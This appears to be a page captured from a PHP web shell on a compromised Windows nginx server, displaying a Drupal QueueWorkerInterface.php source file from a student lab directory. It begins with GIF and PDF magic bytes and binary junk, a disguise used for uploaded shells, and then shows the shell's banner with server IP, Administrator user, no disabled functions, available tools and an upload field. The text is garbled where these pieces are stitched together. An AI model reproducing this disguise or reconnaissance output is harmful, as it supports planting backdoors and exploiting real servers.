GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Queue/ |
Upload File : |
<?php namespace Drupal\Core\Queue; use Drupal\Component\Plugin\PluginInspectionInterface; /** * Defines an interface for a QueueWorker plugin. * * @see \Drupal\Core\Queue\QueueWorkerBase * @see \Drupal\Core\Queue\QueueWorkerManager * @see \Drupal\Core\Annotation\QueueWorker * @see plugin_api */ interface QueueWorkerInterface extends PluginInspectionInterface { /** * Works on a single queue item. * * @param mixed $data * The data that was passed to * \Drupal\Core\Queue\QueueInterface::createItem() when the item was queued. * * @throws \Drupal\Core\Queue\RequeueException * Processing is not yet finished. This will allow another process to claim * the item immediately. * @throws \Exception * A QueueWorker plugin may throw an exception to indicate there was a * problem. The cron process will log the exception, and leave the item in * the queue to be processed again later. * @throws \Drupal\Core\Queue\SuspendQueueException * More specifically, a SuspendQueueException should be thrown when a * QueueWorker plugin is aware that the problem will affect all subsequent * workers of its queue. For example, a callback that makes HTTP requests * may find that the remote server is not responding. The cron process will * behave as with a normal Exception, and in addition will not attempt to * process further items from the current item's queue during the current * cron run. * * @see \Drupal\Core\Cron::processQueues() */ public function processItem($data); }